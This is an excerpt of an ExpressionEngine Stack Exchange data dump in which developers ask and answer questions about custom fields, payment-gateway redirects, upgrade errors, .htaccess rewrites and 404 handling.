  <row Id="35373" PostTypeId="1" CreationDate="2016-01-26T02:06:08.883" Score="0" ViewCount="38" Body="&lt;p&gt;I'm building the marketing portion of a larger system, where a catalog of products is in a separate database. I need a custom &lt;code&gt;select&lt;/code&gt; field that represents the products in the catalog, so I can relate products to blog posts. How can I populate this field via JSON, in real (or near-real) time? Has anyone done this before?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All I need to store is an ID in EE, which I can later use to pull in the full details of the product on demand so what's displayed is up to date.&lt;/p&gt;&#xA;" OwnerUserId="453" LastActivityDate="2016-05-22T20:34:00.690" Title="Can a custom field be populated by external JSON?" Tags="|custom-fields|json|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35374" PostTypeId="2" ParentId="35373" CreationDate="2016-01-26T07:27:31.487" Score="0" Body="&lt;p&gt;The easiest way (ie. cheapest) is to not re-invent the wheel and use an EE addon to do it for you, we have used DataGrab (&lt;a href=&quot;https://devot-ee.com/add-ons/datagrab&quot; rel=&quot;nofollow&quot;&gt;https://devot-ee.com/add-ons/datagrab&lt;/a&gt;) to do something similar, it may work for you - give it a look.&lt;/p&gt;&#xA;" OwnerUserId="7030" LastActivityDate="2016-01-26T07:27:31.487" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="35375" PostTypeId="2" ParentId="35097" CreationDate="2016-01-26T10:20:37.317" Score="1" Body="&lt;p&gt;In the spirit of providing additional options, check out &lt;a href=&quot;https://devot-ee.com/add-ons/streeng&quot; rel=&quot;nofollow&quot;&gt;Streeng&lt;/a&gt; as well.&lt;/p&gt;&#xA;" OwnerUserId="307" LastActivityDate="2016-01-26T10:20:37.317" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35376" PostTypeId="1" CreationDate="2016-01-26T13:00:15.327" Score="0" ViewCount="55" Body="&lt;p&gt;I am using channel image 5.4.2 and as per docs I trying simple template like&quot;: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;html&amp;gt;&#xA;  &amp;lt;head&amp;gt;&#xA;  &amp;lt;meta charset=&quot;UTF-8&quot;&amp;gt;&#xA;  &amp;lt;title&amp;gt;Document&amp;lt;/title&amp;gt;&#xA;  &amp;lt;/head&amp;gt;&#xA;   &amp;lt;body&amp;gt;&#xA;      {exp:channel:entries&#xA;      channel='articles'&#xA;    dynamic='no'&#xA;    entry_id='85'&#xA;    limit='1'}&#xA;    {title}&#xA; {exp:channel_images:images channel=&quot;articles&quot; entry_id=&quot;85&quot;}&#xA;    &amp;lt;img src=&quot;{image:url}&quot; alt=&quot;{image:id}&quot;&amp;gt;&#xA;{/exp:channel_images:images}&#xA;{/exp:channel:entries}&#xA; &amp;lt;/body&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where I have custom field, called &quot;article images&quot;. The problem is that when I add this and try to open the template I'm getting &quot;ERR_CONTENT_DECODING_FAILED&quot; and page breaks. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually my end point is to add this in json output and to be able to consume added images json property from the whole json object, which is used for website data. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody had this issue? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Actually what I do need on the front-end is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;article_images&quot; : &#xA;    [&#xA;        &quot;/imgs/237455.jpg&quot;,&#xA;        &quot;/imgs/4H631C00.jpg&quot;,&#xA;        &quot;/imgs/243224.jpg&quot;&#xA;    ]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this to be added as JSON property&lt;/p&gt;&#xA;" OwnerUserId="993" LastEditorUserId="993" LastEditDate="2016-01-26T15:07:18.480" LastActivityDate="2016-05-19T00:24:59.820" Title="Channel Images tag pair breaks page parsing" Tags="|channel|devdemon|channel-images|json|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35377" PostTypeId="1" AcceptedAnswerId="35429" CreationDate="2016-01-26T14:31:56.017" Score="2" ViewCount="178" Body="&lt;p&gt;For some reason after a successful test order I am not being redirected back to the site after paying via WorldPay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have made sure that the settings tally up and are correct as per the docs here: &lt;a href=&quot;https://www.exp-resso.com/docs/payment_gateways.html#worldpay&quot; rel=&quot;nofollow&quot;&gt;https://www.exp-resso.com/docs/payment_gateways.html#worldpay&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also checked the return URL is correct and even tried making it an absolute link, but again no luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also tried disabling secure forms via the config file using the below as v2.8.1 doesn't have the option to turn off secure forms now:&#xA;$config['disable_csrf_protection'] = 'y';&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The orders are successful as I can see them in the CP afterwards, it also works when registering a new member, but again doesn't redirect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another small issue I have, which may or may not be related, is the Freemember logout link gives an error regarding not being authorized, see below:&#xA;&quot;You are not authorized to perform this action&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas before I resort to trying an EE upgrade to v2.9.3 would be helpful please? Ideally I'd rather not have to update it at this time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Latest update&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After updating EE to v2.10.2 the issue is still present (no redirection after payment at WP TEST server), orders go through successfully and are added to the CP as status 'new'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am now receiving error emails from WP to see what's happening, I get the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Error reported: Callback to &lt;a href=&quot;http://www.example.com/?ACT=39&amp;amp;H=9daf75637f356b4deff064a7aa93333e&quot; rel=&quot;nofollow&quot;&gt;http://www.example.com/?ACT=39&amp;amp;H=9daf75637f356b4deff064a7aa93333e&lt;/a&gt;: NOT OK, recevied HTTP status: 302&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the response attachement shows the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HTTP/1.1 302 Moved Temporarily&#xA;Server: nginx&#xA;Date: Mon, 01 Feb 2016 11:03:37 GMT&#xA;Content-Type: text/html&#xA;Content-Length: 0&#xA;Connection: close&#xA;X-Powered-By: PHP/5.4.45&#xA;Set-Cookie: exp_last_visit=1138964616; expires=Tue, 31-Jan-2017 11:03:36 GMT; path=/; httponly&#xA;Set-Cookie: exp_last_activity=1454324616; expires=Tue, 31-Jan-2017 11:03:36 GMT; path=/; httponly&#xA;Set-Cookie: exp_csrf_token=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; httponly&#xA;Set-Cookie: exp_csrf_token=1afab38559e3fdd5f89351e6bae32f562a49b981; expires=Mon, 01-Feb-2016 13:03:36 GMT; path=/; httponly&#xA;Location: &lt;a href=&quot;http://www.example.com/shop/order/2defc3fdfcc028fc36a4c1b3e3607ec9&quot; rel=&quot;nofollow&quot;&gt;http://www.example.com/shop/order/2defc3fdfcc028fc36a4c1b3e3607ec9&lt;/a&gt;&#xA;X-Powered-By: PleskLin&#xA;MS-Author-Via: DAV &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure what any of this means as I haven't experienced this type of issue/error before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas please anyone?&lt;/p&gt;&#xA;" OwnerUserId="1339" LastEditorUserId="1339" LastEditDate="2016-02-01T11:22:35.203" LastActivityDate="2016-02-01T13:07:52.740" Title="Expresso Store v2.5.1 and EE v2.8.1, WorldPay doesn't redirect after successful order?" Tags="|expresso-store|payment-gateway|worldpay|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35379" PostTypeId="1" AcceptedAnswerId="35380" CreationDate="2016-01-26T17:12:57.740" Score="0" ViewCount="403" Body="&lt;p&gt;After an upgrade from 2.9.2 to 2.10.2 the site was working normally in the browser, and the system login page accepted credentials.  After that was a white screen.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.mediasurgery.co.uk/blog/white-screen-of-death&quot; rel=&quot;nofollow noreferrer&quot;&gt;Turning on error logging&lt;/a&gt; in admin.php produced the following error:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;A Database Error Occurred&lt;/p&gt;&#xA;&lt;p&gt;Error Number: 1054&lt;/p&gt;&#xA;&lt;p&gt;Unknown column 'login_state' in 'field list'&lt;/p&gt;&#xA;&lt;p&gt;SELECT &lt;code&gt;member_id&lt;/code&gt;, &lt;code&gt;admin_sess&lt;/code&gt;, &lt;code&gt;last_activity&lt;/code&gt;, &lt;code&gt;fingerprint&lt;/code&gt;, &lt;code&gt;sess_start&lt;/code&gt;, &lt;code&gt;login_state&lt;/code&gt; FROM (&lt;code&gt;exp_sessions&lt;/code&gt;) WHERE &lt;code&gt;session_id&lt;/code&gt; = 'b0e0c13fd814f8ce72c88a242ac269705f9c5df5'&lt;/p&gt;&#xA;&lt;p&gt;Filename: libraries/Session.php&lt;/p&gt;&#xA;&lt;p&gt;Line Number: 731&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;The database table &lt;em&gt;exp_update_log&lt;/em&gt; indicates successful update to v2.10.2&lt;/p&gt;&#xA;" OwnerUserId="598" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2016-01-26T17:12:57.740" Title="White screen after log in to Control Panel, after upgrade from v2.9.2 to 2.10.2" Tags="|ee2|upgrade|php-errors|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35380" PostTypeId="2" ParentId="35379" CreationDate="2016-01-26T17:12:57.740" Score="3" Body="&lt;p&gt;I located this line (found at 721) in &lt;strong&gt;/system/expressionengine/libraries/Session.php&lt;/strong&gt; and removed &lt;em&gt;login_state&lt;/em&gt; from the query - so from this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;db-&amp;gt;select('member_id, admin_sess, last_activity, fingerprint, sess_start, login_state');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;db-&amp;gt;select('member_id, admin_sess, last_activity, fingerprint, sess_start'); // login_state&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The control panel loaded up fine and all seems functional now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm hoping this is just a bug in this particular upgrade path...  Or should I run an SQL query to add this column to the &lt;em&gt;exp_sessions&lt;/em&gt; database table?&lt;/p&gt;&#xA;" OwnerUserId="598" LastActivityDate="2016-01-26T17:12:57.740" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35381" PostTypeId="1" CreationDate="2016-01-26T20:02:16.210" Score="1" ViewCount="70" Body="&lt;p&gt;Does anyone know if there is an config override for changing the addons folder location in ExpressionEngine 3.  I can't see anything mentioned in the documentation but I was wondering if I have missed something.&lt;/p&gt;&#xA;" OwnerUserId="2791" LastActivityDate="2016-01-26T20:02:16.210" Title="Custom addons folder location in ExpressionEngine 3" Tags="|config|addons|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35382" PostTypeId="1" CreationDate="2016-01-26T20:21:36.760" Score="0" ViewCount="37" Body="&lt;p&gt;I'm creating an &quot;events&quot; channel and I want to have a dropdown list on the publish page so the editor can select the country in which an event takes place. Initially, events will only happen in 2 or 3 different countries (e.g., US, Italy, France) and so I don't want to populate a list of all countries. What I'm looking for, then, is a way that in the future, an editor can easily add a country to the list without having to go into the field settings etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this doable?&lt;/p&gt;&#xA;" OwnerUserId="2218" LastActivityDate="2016-06-03T13:37:14.973" Title="Is there a simple way for the client to add to a dropdown list on a publish page?" Tags="|custom-fields|drop-down|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35383" PostTypeId="1" AcceptedAnswerId="35384" CreationDate="2016-01-26T21:42:42.617" Score="0" ViewCount="340" Body="&lt;p&gt;I recently took over from another developer and I'm having some trouble with my .htaccess breaking my admin control panel. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My .htaccess file is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine On&#xA;RewriteRule ^case-studies/(.*) /articles-case-studies/$1 [L,R=301]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;&#xA;RewriteEngine On&#xA;RewriteCond %{HTTP_HOST} ^example\.com&#xA;RewriteRule (.*) http://www.example.com/$1 [R=301,L]&#xA;&#xA;&amp;lt;FilesMatch &quot;\.pdf$&quot;&amp;gt;&#xA;  header set x-robots-tag: noindex&#xA;&amp;lt;/FilesMatch&amp;gt;&#xA;&#xA;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;        RewriteEngine On&#xA;        RewriteBase /&#xA;&#xA;        # Removes index.php from ExpressionEngine URLs&#xA;        RewriteCond %{THE_REQUEST} ^GET.*index\.php [NC]&#xA;        RewriteCond %{REQUEST_URI} !/system/.* [NC]&#xA;        RewriteRule (.*?)index\.php/*(.*) /$1$2 [R=301,NE,L]&#xA;&#xA;        # Directs all EE web requests through the site index file&#xA;        RewriteCond %{REQUEST_FILENAME} !-f&#xA;        RewriteCond %{REQUEST_FILENAME} !-d&#xA;        RewriteRule ^(.*)$ /index.php?/$1 [L]&#xA;&#xA;    RewriteCond %{REQUEST_URI} !^/php-fpm/*&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which does effectively remove index.php from my urls. The problem I'm having is when I try to log into the back end control panel at:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;www.example.com/admin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the page just gets stuck in an infinite redirect loop. What I've noticed is that without removing index.php? when I try to login to www.example.com/admin it redirects to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;www.example.com/admin/index.php?/cp/login&amp;amp;return=&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What am I missing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:for grammar mistakes&lt;/p&gt;&#xA;" OwnerUserId="6803" LastActivityDate="2016-01-26T22:56:13.480" Title="modifying .htaccess to remove index.php? breaks my access to the control panel" Tags="|htaccess|redirects|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35384" PostTypeId="2" ParentId="35383" CreationDate="2016-01-26T22:56:13.480" Score="1" Body="&lt;p&gt;EllisLab says you have to add a special rewrite condition if you rename your system folder:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;If your site’s system directory (/system/) has been renamed and is still accessible by URL, modify the RewriteCond line above:&#xA;&#xA;RewriteCond %{REQUEST_URI} !/newdirectoryname/.* [NC]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2016-01-26T22:56:13.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35386" PostTypeId="2" ParentId="5049" CreationDate="2016-01-26T23:08:46.610" Score="1" Body="&lt;p&gt;...To edit the third paragraph of Jean St-Armand's answer above for anyone else who comes along and finds this question, you could try using &lt;a href=&quot;https://devot-ee.com/add-ons/red-carrot-notes&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;&lt;em&gt;Red Carrot Notes&lt;/em&gt;&lt;/strong&gt;&lt;/a&gt; both with or without EE native tabs to build on the native functionality. It's not full of features, but the one that it has works well, allowing you to color-code headings as well as position them amongst any other fields in the control panel.&lt;/p&gt;&#xA;" OwnerUserId="1251" LastActivityDate="2016-01-26T23:08:46.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35387" PostTypeId="1" AcceptedAnswerId="35391" CreationDate="2016-01-26T23:39:08.003" Score="2" ViewCount="428" Body="&lt;p&gt;I really need to get some help on this as I have reached out to EL, The Outfit, DD, etc. All have been helpful and eager to assist, but we can't resolve the issue. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have never run into issues like this with anything I have ever hosted on Siteground (who is where this client is), but I have never tried to install/run EE3 on any either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I initially had issues with EE3 alone. One of the issues was a bug and is being resolved in the next release. The other was resolved by updating to 3.1.1. The second issue was with DevDemon's Updater add-on. This was an object reference error, also resolved by fresh install of EE 3.1.1. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I them purchased NavEE to use and upon install, was greeted with a page of errors, warnings, etc. I cannot reproduce the errors on my local dev setup running WAMP. Michael at The Outfit was helpful in checking into things on his end as well. While neither of us were able to reproduce it on our ends, we were able to reproduce it on the SG server. I even provided a zip file of the file system with a DB dump. When rebuilt, the error was not present on local machines. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then opened up a support ticket with the hosting company. However, they only checked file permissions and made sure the files were present and that there were no PHP error logs. They don't know enough about what requirements, if any were causing the conflict and suggested I get with the CMS/Add-on company again. Once I find out, I will be able to tell them what they need to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is beyond frustrating to say the least.  :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way to reproduce this issue, assuming you have NavEE, is to attempt to install it. You should be presented with a view file to enter your license. However, I am greeted with this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Exception Caught&#xA;View file not found: mcp/license/index&#xA;&#xA;/home/stkhomes/system/ee/EllisLab/ExpressionEngine/Service/View/View.php:343&#xA;Stack Trace: hide details&#xA;&#xA;#0 ee/EllisLab/ExpressionEngine/Service/View/View.php(95): EllisLab\ExpressionEngine\Service\View\View-&amp;gt;getPath()&#xA;#1 user/addons/navee/mcp.navee.php(36): EllisLab\ExpressionEngine\Service\View\View-&amp;gt;render(Array)&#xA;#2 [internal function]: Navee_mcp-&amp;gt;license()&#xA;#3 ee/EllisLab/ExpressionEngine/Controller/Addons/Addons.php(1607): call_user_func_array(Array, Array)&#xA;#4 ee/EllisLab/ExpressionEngine/Controller/Addons/Addons.php(883): EllisLab\ExpressionEngine\Controller\Addons\Addons-&amp;gt;getModuleSettings('navee', 'license', Array)&#xA;#5 [internal function]: EllisLab\ExpressionEngine\Controller\Addons\Addons-&amp;gt;settings('navee', 'license')&#xA;#6 ee/EllisLab/ExpressionEngine/Core/Core.php(191): call_user_func_array(Array, Array)&#xA;#7 ee/EllisLab/ExpressionEngine/Core/Core.php(94): EllisLab\ExpressionEngine\Core\Core-&amp;gt;runController(Array)&#xA;#8 ee/EllisLab/ExpressionEngine/Boot/boot.php(138): EllisLab\ExpressionEngine\Core\Core-&amp;gt;run(Object(EllisLab\ExpressionEngine\Core\Request))&#xA;#9 /home/stkhomes/public_html/admin.php(143): require_once('/home/stkhomes/...')&#xA;#9 /home/stkhomes/public_html/admin.php(143): require_once('/home/stkhomes/...') &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The file IS in location and the properties are set properly as well. If there is anyone that can help with this, it would be greatly appreciated. I can provide whatever is needed in information in order to check server requirements, settings, etc.&lt;/p&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2016-01-27T01:53:15.100" Title="Really need help - Trouble with EE3, Addons, and server settings - ERRORS" Tags="|add-on|php|php-errors|ee3|navee|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35388" PostTypeId="2" ParentId="35377" CreationDate="2016-01-26T23:53:29.070" Score="1" Body="&lt;p&gt;WorldPay's hosted payment confirmation pages (successful or unsuccessful) won't automatically redirect back to the EE Store order confirmation page under your own domain, if the callback (Payment Response) is unsuccessful.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your orders are appearing as Order Status &lt;em&gt;New&lt;/em&gt; in &lt;em&gt;EE : Store : Orders&lt;/em&gt;, the callback should be working OK, but if they're marked &lt;em&gt;Incomplete&lt;/em&gt;, the callback is failing (&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/35369/expresso-store-callback-from-worldpay-returning-403-forbidden&quot;&gt;a problem I had&lt;/a&gt;).  WorldPay's CP can be configured for an error email to be sent in this case: &lt;em&gt;Payment Response failure email address&lt;/em&gt;.  See &lt;a href=&quot;http://support.worldpay.com/support/kb/bg/paymentresponse/pr0000.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;WorldPay documentation&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the past for another shopping cart, I've needed to hardcode into WorldPay's &lt;em&gt;ResultY.html&lt;/em&gt; and &lt;em&gt;ResultC.html&lt;/em&gt; files a return link variable, either as a meta refresh tag or anchor.  I don't know if this is required in this case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are the WorldPay settings that work for me:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Payment Response URL: &lt;code&gt;&amp;lt;wpdisplay item=MC_callback&amp;gt;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Payment Response enabled? &lt;em&gt;tick&lt;/em&gt;              &lt;/li&gt;&#xA;&lt;li&gt;Shopper Redirect URL &lt;em&gt;(blank)&lt;/em&gt;    &lt;/li&gt;&#xA;&lt;li&gt;Shopper Redirect button enabled? &lt;em&gt;(blank)&lt;/em&gt;                    &lt;/li&gt;&#xA;&lt;li&gt;Enable Recurring Payment Response &lt;em&gt;(blank)&lt;/em&gt;           &lt;/li&gt;&#xA;&lt;li&gt;Enable the Shopper Response: &lt;em&gt;tick&lt;/em&gt;               &lt;/li&gt;&#xA;&lt;li&gt;Suspension of Payment Response &lt;em&gt;(blank)&lt;/em&gt;                          &lt;/li&gt;&#xA;&lt;li&gt;Payment Response failure email address: &lt;em&gt;(your email)&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Attach HTTP(s) Payment Message to the failure email? &lt;em&gt;tick&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Merchant receipt email address: &lt;em&gt;(blank)&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Enable Mobile Pages?  &lt;em&gt;(blank)&lt;/em&gt;               &lt;/li&gt;&#xA;&lt;li&gt;No Worldpay Header enabled?       &lt;em&gt;(blank)&lt;/em&gt;           &lt;/li&gt;&#xA;&lt;li&gt;Remove Breadcrumb?    &lt;em&gt;(blank)&lt;/em&gt;               &lt;/li&gt;&#xA;&lt;li&gt;Info servlet password &lt;em&gt;(blank)&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Payment Response password: &lt;em&gt;enter and confirm pwd also in Store settings&lt;/em&gt; &lt;/li&gt;&#xA;&lt;li&gt;MD5 secret for transactions: &lt;em&gt;enter and confirm pwd also in Store settings&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;SignatureFields: &lt;em&gt;(blank)&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="598" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2016-01-27T14:43:38.687" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="35390" PostTypeId="2" ParentId="35387" CreationDate="2016-01-27T00:06:51.457" Score="0" Body="&lt;p&gt;Are you trying to install NavEE with the updater addon? Or a manual install? If the former, try the latter if you haven't already. The updater can run into permission and ownership problems.&lt;/p&gt;&#xA;" OwnerUserId="857" LastActivityDate="2016-01-27T00:06:51.457" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35391" PostTypeId="2" ParentId="35387" CreationDate="2016-01-27T01:53:15.100" Score="2" Body="&lt;p&gt;Ok, I don't know what was happening, or why the casing was &quot;off&quot;, but the issue was due to the following lines inside of EE's View.php service file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Get the full server path to the view file backing this&#xA; * view object.&#xA; *&#xA; * @return String The full server path&#xA; */&#xA;protected function getPath()&#xA;{&#xA;    $path = $this-&amp;gt;provider-&amp;gt;getPath().'/View';&#xA;    $old_path = $this-&amp;gt;provider-&amp;gt;getPath().'/views';&#xA;&#xA;    foreach (array($path, $old_path) as $path)&#xA;    {&#xA;        if (file_exists($path.'/'.$this-&amp;gt;path.'.php'))&#xA;        {&#xA;            return $path.'/'.$this-&amp;gt;path.'.php';&#xA;        }&#xA;    }&#xA;    throw new \Exception('View file not found: '.htmlentities($this-&amp;gt;path));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in which the path is turned to &quot;View&quot;. the folder in the NavEE package was named with a lower case &quot;view&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Changing the case corrected the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;***Noted:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A. Apache is case-insensitive when serving HFS, but B. points out a security vulnerability where a path of a different case can cause a whole and points out that the presence of mod_hfs prevents this.&lt;/p&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2016-01-27T01:53:15.100" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35392" PostTypeId="1" CreationDate="2016-01-27T02:06:42.443" Score="0" ViewCount="19" Body="&lt;p&gt;We built site with Expresso store - client came back with a Pay Trace gateway. Anyone connected these? Ideas?&lt;/p&gt;&#xA;" OwnerUserId="7033" LastActivityDate="2016-05-02T13:11:46.787" Title="Expresso store with a Pay Trace gateway?" Tags="|expresso-store|expresso|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35394" PostTypeId="1" AcceptedAnswerId="35396" CreationDate="2016-01-27T08:42:51.730" Score="0" ViewCount="55" Body="&lt;p&gt;I am using EE2.9.2 with Stash and CE Cache. While trying to create a clean URL structure, ie. raising the appropriate 404s where necessary, I ran into challenges I'm struggling to solve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a Books section (among other resources) where I've set up categories (e.g. Arts, Children, etc.). To keep this section 404-sane I need to check if the URL has the proper &quot;books&quot; in it and if the category exists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After a lot of try and error, here's what I ended up doing:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) &lt;strong&gt;Test for proper section&lt;/strong&gt;&#xA;&lt;br&gt;&#xA;This is the template /resources/index.html&#xA;&lt;br&gt;&#xA;&quot;/resources/books&quot; should pass, &quot;/resources/bookz&quot; should not.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_2 != &quot;&quot;}&#xA;    {if &quot;movies|books|music&quot; *= segment_2}&#xA;        {!-- all is well (there is no &quot;does not contain&quot; directive in EE) --}&#xA;    {if:else}&#xA;        {!--redirect=&quot;404&quot;--}&#xA;&#xA;        {!-- TEMPORARY WORKAROUND--}&#xA;        {exp:channel:entries&#xA;            channel=&quot;resources&quot;&#xA;            url_title=&quot;does_not_exist&quot;&#xA;            disable=&quot;categories|category_fields|custom_fields|member_data|pagination&quot;}&#xA;                {if no_results } {redirect=&quot;404&quot;} {/if}&#xA;        {/exp:channel:entries}&#xA;    {/if}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'd love to use the commented line instead of the workaround, but if I enable CE Cache and enter a wrong URL nothing happens and the request eventually times out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) &lt;strong&gt;Test for proper category&lt;/strong&gt;&#xA;&lt;br&gt;&#xA;This is the template I embed if {segment_3} is not empty.&#xA;&lt;br&gt;&#xA;&quot;/resources/books/arts&quot; should pass, but &quot;/resources/books/artz&quot; should not.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if {exp:stash:is_empty name=&quot;current_category_name&quot;}}&#xA;    &amp;lt;?php&#xA;        $this-&amp;gt;EE-&amp;gt;output-&amp;gt;set_header(&quot;HTTP/1.0 404 Not Found&quot;);&#xA;    ?&amp;gt;&#xA;    {!--redirect=&quot;404&quot;--}&#xA;    {redirect=&quot;error/error-404&quot;}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Again I'd love to use the commented line and not use PHP, but if I don't CE Cache caches the wrong URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm frustrated that something so elementary and necessary seems to hard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice on how to do this better or why the above doesn't work with the commented line instead of the workarounds is very much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="3772" LastActivityDate="2016-01-27T11:57:49.380" Title="Why is keeping URLs clean so messy?" Tags="|stash|404|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
